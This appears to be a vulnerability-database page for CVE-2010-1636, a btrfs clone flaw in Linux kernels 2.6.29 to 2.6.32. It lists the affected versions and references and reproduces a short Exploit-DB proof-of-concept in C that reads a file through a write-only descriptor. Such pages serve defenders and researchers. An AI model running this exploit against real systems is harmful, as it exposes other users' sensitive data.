CVE-2010-1636
Description
The btrfs_ioctl_clone function in fs/btrfs/ioctl.c in the btrfs functionality in the Linux kernel 2.6.29 through 2.6.32, and possibly other versions, does not ensure that a cloned file descriptor has been opened for reading, which allows local users to read sensitive information from a write-only file descriptor.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Linux Kernel 2.6.x - Btrfs Cloned File Security Bypass
/*
source: https://www.securityfocus.com/bid/40241/info
The Linux Kernel is prone to a security-bypass vulnerability that affects the Btrfs filesystem implementation.
An attacker can exploit this issue to clone a file only open for writing. This may allow attackers to obtain sensitive data or launch further attacks.
*/
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#define BTRFS_IOC_CLONE _IOW(0x94, 9, int)
int main(int argc, char * argv[])
{
if(argc < 3) {
printf("Usage: %s [target] [output]\n", argv[0]);
exit(-1);
}
int output = open(argv[2], O_WRONLY | O_CREAT, 0644);
/* Note - opened for writing, not reading */
int target = open(argv[1], O_WRONLY);
ioctl(output, BTRFS_IOC_CLONE, target);
}
OS impact
Linux kernel Affected 33 releases
| Version | Status | Fixed in |
|---|---|---|
| 2.6.32 | Affected | โ |
| 2.6.31.13 | Affected | โ |
| 2.6.31.12 | Affected | โ |
| 2.6.31.11 | Affected | โ |
| 2.6.31.10 | Affected | โ |
| 2.6.31.9 | Affected | โ |
| 2.6.31.8 | Affected | โ |
| 2.6.31.7 | Affected | โ |
| 2.6.31.6 | Affected | โ |
| 2.6.31.5 | Affected | โ |
| 2.6.31.4 | Affected | โ |
| 2.6.31.3 | Affected | โ |
| 2.6.31.2 | Affected | โ |
| 2.6.31.1 | Affected | โ |
| 2.6.31 | Affected | โ |
| 2.6.30.10 | Affected | โ |
| 2.6.30.9 | Affected | โ |
| 2.6.30.8 | Affected | โ |
| 2.6.30.7 | Affected | โ |
| 2.6.30.6 | Affected | โ |
| 2.6.30.5 | Affected | โ |
| 2.6.30.4 | Affected | โ |
| 2.6.30.3 | Affected | โ |
| 2.6.30.2 | Affected | โ |
| 2.6.30.1 | Affected | โ |
| 2.6.30 | Affected | โ |
| 2.6.29.6 | Affected | โ |
| 2.6.29.5 | Affected | โ |
| 2.6.29.4 | Affected | โ |
| 2.6.29.3 | Affected | โ |
| 2.6.29.2 | Affected | โ |
| 2.6.29.1 | Affected | โ |
| 2.6.29 | Affected | โ |
References
- http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commitdiff%3Bh=5dc6416414fb3ec6e2825fd4d20c8bf1d7fe0395
- http://www.openwall.com/lists/oss-security/2010/05/18/10
- http://www.openwall.com/lists/oss-security/2010/05/18/2
- http://www.openwall.com/lists/oss-security/2010/05/25/8
- https://bugs.launchpad.net/ubuntu/+source/linux/+bug/579585
- https://bugzilla.redhat.com/show_bug.cgi?id=593226
- http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commitdiff%3Bh=5dc6416414fb3ec6e2825fd4d20c8bf1d7fe0395
- http://www.openwall.com/lists/oss-security/2010/05/18/10
- http://www.openwall.com/lists/oss-security/2010/05/18/2
- http://www.openwall.com/lists/oss-security/2010/05/25/8
- https://bugs.launchpad.net/ubuntu/+source/linux/+bug/579585
- https://bugzilla.redhat.com/show_bug.cgi?id=593226
CWEs
CWE-200
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.